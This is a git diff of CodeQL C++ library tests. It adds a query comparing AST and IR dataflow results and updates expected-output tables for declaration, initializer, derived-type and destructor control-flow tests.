file mode 100644 index 00000000000..659a75528bb --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_diff.ql @@ -0,0 +1,37 @@ +import cpp +import DataflowTestCommon as ASTCommon +import IRDataflowTestCommon as IRCommon +import semmle.code.cpp.dataflow.DataFlow as ASTDataFlow +import semmle.code.cpp.ir.dataflow.DataFlow as IRDataFlow + +predicate astFlow(Location sourceLocation, Location sinkLocation) { + exists(ASTDataFlow::DataFlow::Node source, ASTDataFlow::DataFlow::Node sink, + ASTCommon::TestAllocationConfig cfg | + cfg.hasFlow(source, sink) and + sourceLocation = source.getLocation() and + sinkLocation = sink.getLocation() + ) +} + +predicate irFlow(Location sourceLocation, Location sinkLocation) { + exists(IRDataFlow::DataFlow::Node source, IRDataFlow::DataFlow::Node sink, + IRCommon::TestAllocationConfig cfg | + cfg.hasFlow(source, sink) and + sourceLocation = source.getLocation() and + sinkLocation = sink.getLocation() + ) +} + +from Location sourceLocation, Location sinkLocation, string note +where + ( + astFlow(sourceLocation, sinkLocation) and + not irFlow(sourceLocation, sinkLocation) and + note = "AST only" + ) or + ( + irFlow(sourceLocation, sinkLocation) and + not astFlow(sourceLocation, sinkLocation) and + note = "IR only" + ) +select sourceLocation.toString(), sinkLocation.toString(), note diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_ir.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_ir.expected new file mode 100644 index 00000000000..8243f789c9e --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_ir.expected @@ -0,0 +1,33 @@ +| test.cpp:7:8:7:9 | Load: t1 | test.cpp:6:12:6:17 | Call: call to source | +| test.cpp:9:8:9:9 | Load: t1 | test.cpp:6:12:6:17 | Call: call to source | +| test.cpp:10:8:10:9 | Load: t2 | test.cpp:6:12:6:17 | Call: call to source | +| test.cpp:15:8:15:9 | Load: t2 | test.cpp:6:12:6:17 | Call: call to source | +| test.cpp:26:8:26:9 | Load: t1 | test.cpp:6:12:6:17 | Call: call to source | +| test.cpp:30:8:30:8 | Load: t | test.cpp:35:10:35:15 | Call: call to source | +| test.cpp:31:8:31:8 | Load: c | test.cpp:36:13:36:18 | Call: call to source | +| test.cpp:58:10:58:10 | Load: t | test.cpp:50:14:50:19 | Call: call to source | +| test.cpp:76:8:76:9 | Load: u1 | test.cpp:75:7:75:8 | Uninitialized: definition of u1 | +| test.cpp:84:8:84:18 | Load: ... ? ... : ... | test.cpp:83:7:83:8 | Uninitialized: definition of u2 | +| test.cpp:86:8:86:9 | Load: i1 | test.cpp:83:7:83:8 | Uninitialized: definition of u2 | +| test.cpp:132:22:132:23 | Load: m1 | test.cpp:122:18:122:30 | InitializeParameter: sourceStruct1 | +| test.cpp:140:22:140:23 | Load: m1 | test.cpp:122:18:122:30 | InitializeParameter: sourceStruct1 | +| test.cpp:188:8:188:8 | Load: y | test.cpp:186:27:186:32 | Call: call to source | +| test.cpp:192:8:192:8 | Load: s | test.cpp:199:33:199:38 | Call: call to source | +| test.cpp:200:8:200:8 | Load: y | test.cpp:199:33:199:38 | Call: call to source | +| test.cpp:205:8:205:8 | Load: x | test.cpp:212:34:212:39 | Call: call to source | +| test.cpp:213:8:213:8 | Load: y | test.cpp:212:34:212:39 | Call: call to source | +| test.cpp:226:8:226:8 | Load: y | test.cpp:219:11:219:16 | Call: call to source | +| test.cpp:308:12:308:12 | Load: x | test.cpp:293:14:293:19 | Call: call to source | +| test.cpp:314:12:314:12 | Load: x | test.cpp:313:22:313:27 | Call: call to source | +| test.cpp:337:14:337:14 | Load: x | test.cpp:353:17:353:22 | Call: call to source | +| test.cpp:366:7:366:7 | Load: x | test.cpp:362:4:362:9 | Call: call to source | +| true_upon_entry.cpp:13:8:13:8 | Load: x | true_upon_entry.cpp:9:11:9:16 | Call: call to source | +| true_upon_entry.cpp:21:8:21:8 | Load: x | true_upon_entry.cpp:17:11:17:16 | Call: call to source | +| true_upon_entry.cpp:29:8:29:8 | Load: x | true_upon_entry.cpp:27:9:27:14 | Call: call to source | +| true_upon_entry.cpp:39:8:39:8 | Load: x | true_upon_entry.cpp:33:11:33:16 | Call: call to source | +| true_upon_entry.cpp:49:8:49:8 | Load: x | true_upon_entry.cpp:43:11:43:16 | Call: call to source | +| true_upon_entry.cpp:57:8:57:8 | Load: x | true_upon_entry.cpp:54:11:54:16 | Call: call to source | +| true_upon_entry.cpp:66:8:66:8 | Load: x | true_upon_entry.cpp:62:11:62:16 | Call: call to source | +| true_upon_entry.cpp:78:8:78:8 | Load: x | true_upon_entry.cpp:70:11:70:16 | Call: call to source | +| true_upon_entry.cpp:86:8:86:8 | Load: x | true_upon_entry.cpp:83:11:83:16 | Call: call to source | +| true_upon_entry.cpp:105:8:105:8 | Load: x | true_upon_entry.cpp:98:11:98:16 | Call: call to source | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_ir.ql b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_ir.ql new file mode 100644 index 00000000000..3debabfefa2 --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_ir.ql @@ -0,0 +1,5 @@ +import IRDataflowTestCommon + +from DataFlow::Node sink, DataFlow::Node source, TestAllocationConfig cfg +where cfg.hasFlow(source, sink) +select sink, source diff --git a/cpp/ql/test/library-tests/declarationEntry/more/declarationEntry.expected b/cpp/ql/test/library-tests/declarationEntry/more/declarationEntry.expected index 4f89ef48c48..47c5f075a41 100644 --- a/cpp/ql/test/library-tests/declarationEntry/more/declarationEntry.expected +++ b/cpp/ql/test/library-tests/declarationEntry/more/declarationEntry.expected @@ -6,7 +6,6 @@ | file://:0:0:0:0 | declaration of 1st parameter | | file://:0:0:0:0 | declaration of 1st parameter | | file://:0:0:0:0 | declaration of 1st parameter | -| file://:0:0:0:0 | definition of __va_list_tag | | file://:0:0:0:0 | definition of fp_offset | | file://:0:0:0:0 | definition of gp_offset | | file://:0:0:0:0 | definition of overflow_arg_area | @@ -61,7 +60,11 @@ | test.cpp:57:7:57:26 | definition of tmplClassProtoAndDef | | test.cpp:59:19:59:19 | definition of T | | test.cpp:60:6:60:29 | declaration of tmplInstantiatedFunction | +| test.cpp:60:33:60:33 | definition of t | +| test.cpp:60:33:60:33 | definition of t | | test.cpp:61:19:61:19 | definition of T | +| test.cpp:62:6:62:6 | definition of tmplInstantiatedFunction | +| test.cpp:62:6:62:6 | definition of tmplInstantiatedFunction | | test.cpp:62:6:62:29 | definition of tmplInstantiatedFunction | | test.cpp:62:33:62:33 | declaration of t | | test.cpp:62:33:62:33 | definition of t | diff --git a/cpp/ql/test/library-tests/declarationEntry/template/declarationEntry.expected b/cpp/ql/test/library-tests/declarationEntry/template/declarationEntry.expected index 9273ca6a569..84b1e1bf419 100644 --- a/cpp/ql/test/library-tests/declarationEntry/template/declarationEntry.expected +++ b/cpp/ql/test/library-tests/declarationEntry/template/declarationEntry.expected @@ -11,7 +11,7 @@ | src4.cpp:6:20:6:21 | definition of zz | | src5.cpp:5:16:5:19 | definition of elem | | src5.cpp:6:8:6:17 | definition of my_istream | -| src5.cpp:10:8:10:17 | declaration of my_istream | +| src5.cpp:10:8:10:23 | declaration of my_istream | | src5.fwd.hpp:6:17:6:20 | definition of elem | | src5.fwd.hpp:6:29:6:38 | declaration of my_istream | | src6.cpp:5:19:5:23 | definition of mis_c | diff --git a/cpp/ql/test/library-tests/declarationEntry/template/usertype.expected b/cpp/ql/test/library-tests/declarationEntry/template/usertype.expected index 30490ce3657..76c7d0ea2d2 100644 --- a/cpp/ql/test/library-tests/declarationEntry/template/usertype.expected +++ b/cpp/ql/test/library-tests/declarationEntry/template/usertype.expected @@ -11,5 +11,5 @@ | src4.cpp:4:7:4:20 | template_class<> | 1 | | src5.cpp:5:16:5:19 | elem | 1 | | src5.cpp:6:8:6:17 | my_istream | 1 | -| src5.cpp:10:8:10:17 | my_istream | 1 | +| src5.cpp:10:8:10:23 | my_istream | 1 | | src5.fwd.hpp:6:17:6:20 | elem | 1 | diff --git a/cpp/ql/test/library-tests/default_parameters/variables.expected b/cpp/ql/test/library-tests/default_parameters/variables.expected index 3dcb5d017f9..9763fd11f9c 100644 --- a/cpp/ql/test/library-tests/default_parameters/variables.expected +++ b/cpp/ql/test/library-tests/default_parameters/variables.expected @@ -1,6 +1,8 @@ | file://:0:0:0:0 | fp_offset | 1 | | 1 | | | file://:0:0:0:0 | gp_offset | 1 | | 1 | | | file://:0:0:0:0 | overflow_arg_area | 1 | | 1 | | +| file://:0:0:0:0 | p#0 | 1 | | 1 | | +| file://:0:0:0:0 | p#0 | 1 | | 1 | | | file://:0:0:0:0 | reg_save_area | 1 | | 1 | | | test.cpp:2:21:2:21 | x | 1 | file://:0:0:0:0 initializer for x | 2 | test.cpp:2:25:2:26 10 | | test.cpp:2:21:2:21 | x | 1 | file://:0:0:0:0 initializer for x | 2 | test.cpp:3:9:3:9 3 | diff --git a/cpp/ql/test/library-tests/depends_initializers/VariableInitializers.expected b/cpp/ql/test/library-tests/depends_initializers/VariableInitializers.expected index a7698cee885..f126ef4c9eb 100644 --- a/cpp/ql/test/library-tests/depends_initializers/VariableInitializers.expected +++ b/cpp/ql/test/library-tests/depends_initializers/VariableInitializers.expected @@ -9,6 +9,8 @@ | file://:0:0:0:0 | p#0 | 0 | 0 | | file://:0:0:0:0 | p#0 | 0 | 0 | | file://:0:0:0:0 | p#0 | 0 | 0 | +| file://:0:0:0:0 | p#0 | 0 | 0 | +| file://:0:0:0:0 | p#0 | 0 | 0 | | file://:0:0:0:0 | reg_save_area | 0 | 0 | | initializers.cpp:8:8:8:12 | a_ptr | 1 | 1 | | initializers.cpp:9:4:9:4 | a | 1 | 1 | diff --git a/cpp/ql/test/library-tests/derived_types/DerivedTypesBaseType.expected b/cpp/ql/test/library-tests/derived_types/DerivedTypesBaseType.expected index 68e2d7e841c..bacdb9e73b3 100644 --- a/cpp/ql/test/library-tests/derived_types/DerivedTypesBaseType.expected +++ b/cpp/ql/test/library-tests/derived_types/DerivedTypesBaseType.expected @@ -5,6 +5,9 @@ | file://:0:0:0:0 | CC * | derivedtype.cpp:5:11:5:12 | CC | | file://:0:0:0:0 | CC ** | file://:0:0:0:0 | CC * | | file://:0:0:0:0 | __va_list_tag & | file://:0:0:0:0 | __va_list_tag | +| file://:0:0:0:0 | __va_list_tag && | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | const C | derivedtype.cpp:1:7:1:7 | C | | file://:0:0:0:0 | const C & | file://:0:0:0:0 | const C | +| file://:0:0:0:0 | const __va_list_tag | file://:0:0:0:0 | __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | file://:0:0:0:0 | const __va_list_tag | | file://:0:0:0:0 | void * | file://:0:0:0:0 | void | diff --git a/cpp/ql/test/library-tests/destructors/cfg.expected b/cpp/ql/test/library-tests/destructors/cfg.expected index cf730468263..f037a8c1935 100644 --- a/cpp/ql/test/library-tests/destructors/cfg.expected +++ b/cpp/ql/test/library-tests/destructors/cfg.expected @@ -1,255 +1,255 @@ -| C::C | false | 135 | 135 | C | -| C::C | false | 138 | 138 | C | -| C::operator= | false | 133 | 133 | operator= | -| C::~C | false | 137 | 137 | ~C | -| Class2::Class2 | false | 382 | 382 | Class2 | -| Class2::Class2 | false | 388 | 388 | return ... | -| Class2::Class2 | false | 390 | 390 | { ... } | -| Class2::Class2 | false | 395 | 395 | Class2 | -| Class2::Class2 | true | 388 | 382 | | -| Class2::Class2 | true | 390 | 388 | | -| Class2::operator= | false | 392 | 392 | operator= | -| Class2::~Class2 | false | 394 | 394 | ~Class2 | -| Outer::Inner::Inner | false | 429 | 429 | Inner | -| Outer::Inner::Inner | false | 434 | 434 | return ... | -| Outer::Inner::Inner | false | 436 | 436 | { ... } | -| Outer::Inner::Inner | false | 498 | 498 | Inner | -| Outer::Inner::Inner | true | 434 | 429 | | -| Outer::Inner::Inner | true | 436 | 434 | | -| Outer::Inner::operator= | false | 496 | 496 | operator= | -| Outer::Inner::~Inner | false | 472 | 472 | ~Inner | -| Outer::Inner::~Inner | false | 476 | 476 | return ... | -| Outer::Inner::~Inner | false | 478 | 478 | { ... } | -| Outer::Inner::~Inner | true | 476 | 472 | | -| Outer::Inner::~Inner | true | 478 | 476 | | -| Outer::f2 | false | 411 | 411 | f2 | -| Outer::f2 | false | 417 | 417 | call to getClass2 | -| Outer::f2 | false | 419 | 419 | initializer for c | -| Outer::f2 | false | 424 | 424 | call to Inner | -| Outer::f2 | false | 438 | 438 | c | -| Outer::f2 | false | 440 | 440 | (const Class2)... | -| Outer::f2 | false | 442 | 442 | (reference to) | -| Outer::f2 | false | 444 | 444 | initializer for inner | -| Outer::f2 | false | 448 | 448 | declaration | -| Outer::f2 | false | 450 | 450 | i | -| Outer::f2 | false | 452 | 452 | (bool)... | -| Outer::f2 | false | 454 | 454 | return ... | -| Outer::f2 | false | 456 | 456 | { ... } | -| Outer::f2 | false | 458 | 458 | if (...) ... | -| Outer::f2 | false | 460 | 460 | declaration | -| Outer::f2 | false | 462 | 462 | return ... | -| Outer::f2 | false | 464 | 464 | { ... } | -| Outer::f2 | false | 466 | 466 | c | -| Outer::f2 | false | 468 | 468 | call to c.~Class2 | -| Outer::f2 | false | 469 | 469 | inner | -| Outer::f2 | false | 470 | 470 | call to inner.~Inner | -| Outer::f2 | true | 417 | 458 | | -| Outer::f2 | true | 419 | 417 | | -| Outer::f2 | true | 424 | 462 | | -| Outer::f2 | true | 438 | 424 | | -| Outer::f2 | true | 444 | 438 | | -| Outer::f2 | true | 448 | 419 | | -| Outer::f2 | true | 450 | 456 | T | -| Outer::f2 | true | 450 | 460 | F | -| Outer::f2 | true | 454 | 466 | | -| Outer::f2 | true | 456 | 454 | | -| Outer::f2 | true | 458 | 450 | | -| Outer::f2 | true | 460 | 444 | | -| Outer::f2 | true | 462 | 469 | | -| Outer::f2 | true | 464 | 448 | | -| Outer::f2 | true | 466 | 468 | | -| Outer::f2 | true | 468 | 411 | | -| Outer::f2 | true | 469 | 470 | | -| Outer::f2 | true | 470 | 466 | | -| Outer::operator= | false | 481 | 481 | operator= | -| Outer::operator= | false | 485 | 485 | operator= | -| __va_list_tag::operator= | false | 64 | 64 | operator= | -| __va_list_tag::operator= | false | 68 | 68 | operator= | -| f | false | 152 | 152 | f | -| f | false | 158 | 158 | call to C | -| f | false | 162 | 162 | 110 | -| f | false | 163 | 163 | initializer for c10 | -| f | false | 168 | 168 | call to C | -| f | false | 172 | 172 | 111 | -| f | false | 173 | 173 | initializer for c11 | -| f | false | 178 | 178 | call to C | -| f | false | 182 | 182 | 120 | -| f | false | 183 | 183 | initializer for c20 | -| f | false | 188 | 188 | call to C | -| f | false | 192 | 192 | 121 | -| f | false | 193 | 193 | initializer for c21 | -| f | false | 198 | 198 | call to C | -| f | false | 202 | 202 | 130 | -| f | false | 203 | 203 | initializer for c30 | -| f | false | 208 | 208 | call to C | -| f | false | 212 | 212 | 131 | -| f | false | 213 | 213 | initializer for c31 | -| f | false | 218 | 218 | call to C | -| f | false | 222 | 222 | 132 | -| f | false | 223 | 223 | initializer for c32 | -| f | false | 228 | 228 | call to C | -| f | false | 232 | 232 | 133 | -| f | false | 233 | 233 | initializer for c33 | +| C::C | false | 197 | 197 | C | +| C::C | false | 398 | 398 | C | +| C::operator= | false | 391 | 391 | operator= | +| C::~C | false | 331 | 331 | ~C | +| Class2::Class2 | false | 538 | 538 | Class2 | +| Class2::Class2 | false | 544 | 544 | return ... | +| Class2::Class2 | false | 546 | 546 | { ... } | +| Class2::Class2 | false | 547 | 547 | Class2 | +| Class2::Class2 | true | 544 | 538 | | +| Class2::Class2 | true | 546 | 544 | | +| Class2::operator= | false | 532 | 532 | operator= | +| Class2::~Class2 | false | 467 | 467 | ~Class2 | +| Outer::Inner::Inner | false | 488 | 488 | Inner | +| Outer::Inner::Inner | false | 509 | 509 | Inner | +| Outer::Inner::Inner | false | 528 | 528 | return ... | +| Outer::Inner::Inner | false | 530 | 530 | { ... } | +| Outer::Inner::Inner | true | 528 | 488 | | +| Outer::Inner::Inner | true | 530 | 528 | | +| Outer::Inner::operator= | false | 502 | 502 | operator= | +| Outer::Inner::~Inner | false | 470 | 470 | ~Inner | +| Outer::Inner::~Inner | false | 517 | 517 | return ... | +| Outer::Inner::~Inner | false | 519 | 519 | { ... } | +| Outer::Inner::~Inner | true | 517 | 470 | | +| Outer::Inner::~Inner | true | 519 | 517 | | +| Outer::f2 | false | 439 | 439 | f2 | +| Outer::f2 | false | 447 | 447 | declaration | +| Outer::f2 | false | 449 | 449 | i | +| Outer::f2 | false | 451 | 451 | (bool)... | +| Outer::f2 | false | 452 | 452 | return ... | +| Outer::f2 | false | 454 | 454 | { ... } | +| Outer::f2 | false | 456 | 456 | if (...) ... | +| Outer::f2 | false | 458 | 458 | declaration | +| Outer::f2 | false | 460 | 460 | return ... | +| Outer::f2 | false | 462 | 462 | { ... } | +| Outer::f2 | false | 464 | 464 | c | +| Outer::f2 | false | 466 | 466 | call to c.~Class2 | +| Outer::f2 | false | 468 | 468 | inner | +| Outer::f2 | false | 469 | 469 | call to inner.~Inner | +| Outer::f2 | false | 474 | 474 | call to getClass2 | +| Outer::f2 | false | 476 | 476 | initializer for c | +| Outer::f2 | false | 481 | 481 | call to Inner | +| Outer::f2 | false | 490 | 490 | c | +| Outer::f2 | false | 492 | 492 | (const Class2)... | +| Outer::f2 | false | 493 | 493 | (reference to) | +| Outer::f2 | false | 494 | 494 | initializer for inner | +| Outer::f2 | true | 447 | 476 | | +| Outer::f2 | true | 449 | 454 | T | +| Outer::f2 | true | 449 | 458 | F | +| Outer::f2 | true | 452 | 464 | | +| Outer::f2 | true | 454 | 452 | | +| Outer::f2 | true | 456 | 449 | | +| Outer::f2 | true | 458 | 494 | | +| Outer::f2 | true | 460 | 468 | | +| Outer::f2 | true | 462 | 447 | | +| Outer::f2 | true | 464 | 466 | | +| Outer::f2 | true | 466 | 439 | | +| Outer::f2 | true | 468 | 469 | | +| Outer::f2 | true | 469 | 464 | | +| Outer::f2 | true | 474 | 456 | | +| Outer::f2 | true | 476 | 474 | | +| Outer::f2 | true | 481 | 460 | | +| Outer::f2 | true | 490 | 481 | | +| Outer::f2 | true | 494 | 490 | | +| Outer::operator= | false | 424 | 424 | operator= | +| Outer::operator= | false | 435 | 435 | operator= | +| __va_list_tag::operator= | false | 93 | 93 | operator= | +| __va_list_tag::operator= | false | 100 | 100 | operator= | +| f | false | 181 | 181 | f | +| f | false | 192 | 192 | declaration | +| f | false | 195 | 195 | call to C | +| f | false | 200 | 200 | 120 | +| f | false | 201 | 201 | initializer for c20 | +| f | false | 205 | 205 | call to C | +| f | false | 209 | 209 | 121 | +| f | false | 210 | 210 | initializer for c21 | +| f | false | 213 | 213 | declaration | +| f | false | 216 | 216 | call to C | +| f | false | 220 | 220 | 130 | +| f | false | 221 | 221 | initializer for c30 | +| f | false | 224 | 224 | declaration | +| f | false | 226 | 226 | { ... } | +| f | false | 229 | 229 | call to C | +| f | false | 233 | 233 | 131 | +| f | false | 234 | 234 | initializer for c31 | | f | false | 238 | 238 | call to C | -| f | false | 242 | 242 | 134 | -| f | false | 243 | 243 | initializer for c34 | -| f | false | 248 | 248 | call to C | -| f | false | 252 | 252 | 122 | -| f | false | 253 | 253 | initializer for c22 | -| f | false | 258 | 258 | call to C | -| f | false | 262 | 262 | 123 | -| f | false | 263 | 263 | initializer for c23 | -| f | false | 267 | 267 | declaration | -| f | false | 269 | 269 | declaration | -| f | false | 271 | 271 | declaration | -| f | false | 273 | 273 | { ... } | -| f | false | 275 | 275 | declaration | -| f | false | 277 | 277 | b1 | -| f | false | 279 | 279 | (bool)... | -| f | false | 281 | 281 | goto ... | -| f | false | 283 | 283 | if (...) ... | -| f | false | 285 | 285 | declaration | -| f | false | 287 | 287 | b2 | -| f | false | 289 | 289 | (bool)... | -| f | false | 291 | 291 | return ... | -| f | false | 293 | 293 | if (...) ... | -| f | false | 295 | 295 | declaration | -| f | false | 297 | 297 | { ... } | -| f | false | 299 | 299 | declaration | -| f | false | 301 | 301 | { ... } | +| f | false | 242 | 242 | 132 | +| f | false | 243 | 243 | initializer for c32 | +| f | false | 247 | 247 | call to C | +| f | false | 251 | 251 | 133 | +| f | false | 252 | 252 | initializer for c33 | +| f | false | 255 | 255 | declaration | +| f | false | 257 | 257 | b1 | +| f | false | 259 | 259 | (bool)... | +| f | false | 260 | 260 | goto ... | +| f | false | 262 | 262 | if (...) ... | +| f | false | 264 | 264 | declaration | +| f | false | 266 | 266 | b2 | +| f | false | 268 | 268 | (bool)... | +| f | false | 269 | 269 | return ... | +| f | false | 271 | 271 | if (...) ... | +| f | false | 273 | 273 | declaration | +| f | false | 275 | 275 | { ... } | +| f | false | 278 | 278 | call to C | +| f | false | 282 | 282 | 134 | +| f | false | 283 | 283 | initializer for c34 | +| f | false | 286 | 286 | declaration | +| f | false | 288 | 288 | { ... } | +| f | false | 290 | 290 | declaration | +| f | false | 292 | 292 | { ... } | +| f | false | 295 | 295 | call to C | +| f | false | 299 | 299 | 122 | +| f | false | 300 | 300 | initializer for c22 | | f | false | 303 | 303 | declaration | | f | false | 305 | 305 | { ... } | -| f | false | 307 | 307 | declaration | -| f | false | 309 | 309 | { ... } | -| f | false | 311 | 311 | label ...: | -| f | false | 313 | 313 | declaration | -| f | false | 315 | 315 | { ... } | -| f | false | 317 | 317 | declaration | -| f | false | 319 | 319 | return ... | -| f | false | 321 | 321 | { ... } | -| f | false | 323 | 323 | c10 | -| f | false | 325 | 325 | call to c10.~C | -| f | false | 326 | 326 | c11 | -| f | false | 327 | 327 | call to c11.~C | -| f | false | 328 | 328 | c23 | -| f | false | 330 | 330 | call to c23.~C | -| f | false | 331 | 331 | c22 | -| f | false | 333 | 333 | call to c22.~C | -| f | false | 334 | 334 | c20 | -| f | false | 336 | 336 | call to c20.~C | -| f | false | 337 | 337 | c21 | -| f | false | 338 | 338 | call to c21.~C | -| f | false | 339 | 339 | c34 | -| f | false | 341 | 341 | call to c34.~C | -| f | false | 342 | 342 | c31 | -| f | false | 344 | 344 | call to c31.~C | -| f | false | 345 | 345 | c32 | -| f | false | 346 | 346 | call to c32.~C | -| f | false | 347 | 347 | c33 | -| f | false | 348 | 348 | call to c33.~C | -| f | false | 349 | 349 | c20 | -| f | false | 350 | 350 | call to c20.~C | -| f | false | 351 | 351 | c31 | -| f | false | 352 | 352 | call to c31.~C | -| f | false | 353 | 353 | c32 | -| f | false | 354 | 354 | call to c32.~C | +| f | false | 308 | 308 | call to C | +| f | false | 312 | 312 | 123 | +| f | false | 313 | 313 | initializer for c23 | +| f | false | 316 | 316 | label ...: | +| f | false | 318 | 318 | declaration | +| f | false | 320 | 320 | { ... } | +| f | false | 322 | 322 | declaration | +| f | false | 324 | 324 | return ... | +| f | false | 326 | 326 | { ... } | +| f | false | 328 | 328 | c10 | +| f | false | 330 | 330 | call to c10.~C | +| f | false | 332 | 332 | c11 | +| f | false | 333 | 333 | call to c11.~C | +| f | false | 334 | 334 | c23 | +| f | false | 336 | 336 | call to c23.~C | +| f | false | 337 | 337 | c22 | +| f | false | 339 | 339 | call to c22.~C | +| f | false | 340 | 340 | c20 | +| f | false | 342 | 342 | call to c20.~C | +| f | false | 343 | 343 | c21 | +| f | false | 344 | 344 | call to c21.~C | +| f | false | 345 | 345 | c34 | +| f | false | 347 | 347 | call to c34.~C | +| f | false | 348 | 348 | c31 | +| f | false | 350 | 350 | call to c31.~C | +| f | false | 351 | 351 | c32 | +| f | false | 352 | 352 | call to c32.~C | +| f | false | 353 | 353 | c33 | +| f | false | 354 | 354 | call to c33.~C | | f | false | 355 | 355 | c20 | | f | false | 356 | 356 | call to c20.~C | | f | false | 357 | 357 | c31 | | f | false | 358 | 358 | call to c31.~C | -| f | false | 359 | 359 | c30 | -| f | false | 361 | 361 | call to c30.~C | -| f | true | 158 | 305 | | -| f | true | 162 | 158 | | -| f | true | 163 | 162 | | -| f | true | 168 | 319 | | -| f | true | 172 | 168 | | -| f | true | 173 | 172 | | -| f | true | 178 | 273 | | -| f | true | 182 | 178 | | -| f | true | 183 | 182 | | -| f | true | 188 | 337 | | -| f | true | 192 | 188 | | -| f | true | 193 | 192 | | -| f | true | 198 | 359 | | -| f | true | 202 | 198 | | -| f | true | 203 | 202 | | -| f | true | 208 | 283 | | -| f | true | 212 | 208 | | -| f | true | 213 | 212 | | -| f | true | 218 | 293 | | -| f | true | 222 | 218 | | -| f | true | 223 | 222 | | -| f | true | 228 | 347 | | -| f | true | 232 | 228 | | -| f | true | 233 | 232 | | -| f | true | 238 | 339 | | +| f | false | 359 | 359 | c32 | +| f | false | 360 | 360 | call to c32.~C | +| f | false | 361 | 361 | c20 | +| f | false | 362 | 362 | call to c20.~C | +| f | false | 363 | 363 | c31 | +| f | false | 364 | 364 | call to c31.~C | +| f | false | 365 | 365 | c30 | +| f | false | 367 | 367 | call to c30.~C | +| f | false | 369 | 369 | call to C | +| f | false | 373 | 373 | 110 | +| f | false | 374 | 374 | initializer for c10 | +| f | false | 378 | 378 | call to C | +| f | false | 382 | 382 | 111 | +| f | false | 383 | 383 | initializer for c11 | +| f | true | 192 | 374 | | +| f | true | 195 | 226 | | +| f | true | 200 | 195 | | +| f | true | 201 | 200 | | +| f | true | 205 | 343 | | +| f | true | 209 | 205 | | +| f | true | 210 | 209 | | +| f | true | 213 | 201 | | +| f | true | 216 | 365 | | +| f | true | 220 | 216 | | +| f | true | 221 | 220 | | +| f | true | 224 | 221 | | +| f | true | 226 | 224 | | +| f | true | 229 | 262 | | +| f | true | 233 | 229 | | +| f | true | 234 | 233 | | +| f | true | 238 | 271 | | | f | true | 242 | 238 | | | f | true | 243 | 242 | | -| f | true | 248 | 331 | | -| f | true | 252 | 248 | | -| f | true | 253 | 252 | | -| f | true | 258 | 328 | | -| f | true | 262 | 258 | | -| f | true | 263 | 262 | | -| f | true | 267 | 163 | | -| f | true | 269 | 183 | | -| f | true | 271 | 203 | | -| f | true | 273 | 271 | | -| f | true | 275 | 213 | | -| f | true | 277 | 281 | T | -| f | true | 277 | 285 | F | -| f | true | 281 | 357 | | -| f | true | 283 | 277 | | -| f | true | 285 | 223 | | -| f | true | 287 | 291 | T | -| f | true | 287 | 295 | F | -| f | true | 291 | 353 | | -| f | true | 293 | 287 | | -| f | true | 295 | 233 | | -| f | true | 297 | 275 | | -| f | true | 299 | 243 | | -| f | true | 301 | 299 | | -| f | true | 303 | 193 | | -| f | true | 305 | 269 | | -| f | true | 307 | 253 | | -| f | true | 309 | 307 | | -| f | true | 311 | 313 | | -| f | true | 313 | 263 | | -| f | true | 315 | 311 | | -| f | true | 317 | 173 | | -| f | true | 319 | 326 | | -| f | true | 321 | 267 | | -| f | true | 323 | 325 | | -| f | true | 325 | 152 | | -| f | true | 326 | 327 | | -| f | true | 327 | 323 | | +| f | true | 247 | 353 | | +| f | true | 251 | 247 | | +| f | true | 252 | 251 | | +| f | true | 255 | 234 | | +| f | true | 257 | 260 | T | +| f | true | 257 | 264 | F | +| f | true | 260 | 363 | | +| f | true | 262 | 257 | | +| f | true | 264 | 243 | | +| f | true | 266 | 269 | T | +| f | true | 266 | 273 | F | +| f | true | 269 | 359 | | +| f | true | 271 | 266 | | +| f | true | 273 | 252 | | +| f | true | 275 | 255 | | +| f | true | 278 | 345 | | +| f | true | 282 | 278 | | +| f | true | 283 | 282 | | +| f | true | 286 | 283 | | +| f | true | 288 | 286 | | +| f | true | 290 | 210 | | +| f | true | 292 | 213 | | +| f | true | 295 | 337 | | +| f | true | 299 | 295 | | +| f | true | 300 | 299 | | +| f | true | 303 | 300 | | +| f | true | 305 | 303 | | +| f | true | 308 | 334 | | +| f | true | 312 | 308 | | +| f | true | 313 | 312 | | +| f | true | 316 | 318 | | +| f | true | 318 | 313 | | +| f | true | 320 | 316 | | +| f | true | 322 | 383 | | +| f | true | 324 | 332 | | +| f | true | 326 | 192 | | | f | true | 328 | 330 | | -| f | true | 330 | 317 | | -| f | true | 331 | 333 | | -| f | true | 333 | 315 | | +| f | true | 330 | 181 | | +| f | true | 332 | 333 | | +| f | true | 333 | 328 | | | f | true | 334 | 336 | | -| f | true | 336 | 309 | | -| f | true | 337 | 338 | | -| f | true | 338 | 334 | | -| f | true | 339 | 341 | | -| f | true | 341 | 303 | | -| f | true | 342 | 344 | | -| f | true | 344 | 301 | | -| f | true | 345 | 346 | | -| f | true | 346 | 342 | | -| f | true | 347 | 348 | | -| f | true | 348 | 345 | | -| f | true | 349 | 350 | | -| f | true | 350 | 323 | | +| f | true | 336 | 322 | | +| f | true | 337 | 339 | | +| f | true | 339 | 320 | | +| f | true | 340 | 342 | | +| f | true | 342 | 305 | | +| f | true | 343 | 344 | | +| f | true | 344 | 340 | | +| f | true | 345 | 347 | | +| f | true | 347 | 290 | | +| f | true | 348 | 350 | | +| f | true | 350 | 288 | | | f | true | 351 | 352 | | -| f | true | 352 | 349 | | +| f | true | 352 | 348 | | | f | true | 353 | 354 | | | f | true | 354 | 351 | | | f | true | 355 | 356 | | -| f | true | 356 | 311 | | +| f | true | 356 | 328 | | | f | true | 357 | 358 | | | f | true | 358 | 355 | | -| f | true | 359 | 361 | | -| f | true | 361 | 297 | | -| getClass2 | false | 405 | 405 | getClass2 | +| f | true | 359 | 360 | | +| f | true | 360 | 357 | | +| f | true | 361 | 362 | | +| f | true | 362 | 316 | | +| f | true | 363 | 364 | | +| f | true | 364 | 361 | | +| f | true | 365 | 367 | | +| f | true | 367 | 275 | | +| f | true | 369 | 292 | | +| f | true | 373 | 369 | | +| f | true | 374 | 373 | | +| f | true | 378 | 324 | | +| f | true | 382 | 378 | | +| f | true | 383 | 382 | 